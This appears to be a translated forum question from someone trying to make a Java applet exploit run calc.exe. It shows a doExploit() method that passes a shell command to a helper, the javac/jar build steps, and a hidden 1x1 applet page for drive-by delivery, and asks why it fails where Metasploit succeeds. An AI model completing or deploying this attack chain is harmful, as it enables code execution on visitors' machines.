Mi sono interessato agli exploit Java e mi sono imbattuto in questo:
È un codice sorgente per l'exploit di Java, quindi anche se la mia conoscenza di Java è limitata (ho imparato alcuni in alta scuola), quindi ho cercato di capire cosa sta succedendo in background.
Il file link ha questo codice:
public static void doExploit() throws Exception {
Help _tmp = getHelp();
File file = new File("d:/temp/1.php");
String cmd = "php " + file.getAbsolutePath();
System.out.println(Help.doWork(_tmp, cmd));
}
che presumo sia il codice da eseguire con questo exploit, quindi l'ho modificato in:
public static void doExploit() throws Exception {
Help _tmp = getHelp();
String cmd = "cmd /c start calc.exe";
System.out.println(Help.doWork(_tmp, cmd));
}
Per avviare calc.exe con successo con explotation, e compilato con:
javac -d bin redcreen/*.java
cd bin
jar cvf ../appplet2.jar redcreen/*.class
e inserito nell'applet:
<!DOCTYPE html>
<html>
<head>
<title>Exploit</title>
</head>
<body>
<applet archive="applet2.jar" code="redcreen.Exploit.class" width=1 height=1></applet>
</body>
</html>
Ma nessuna fortuna con l'esecuzione di calc.exe
su una macchina Java vulnerabile. L'esecuzione di Metasploit funziona. Qualsiasi consiglio o suggerimento è benvenuto.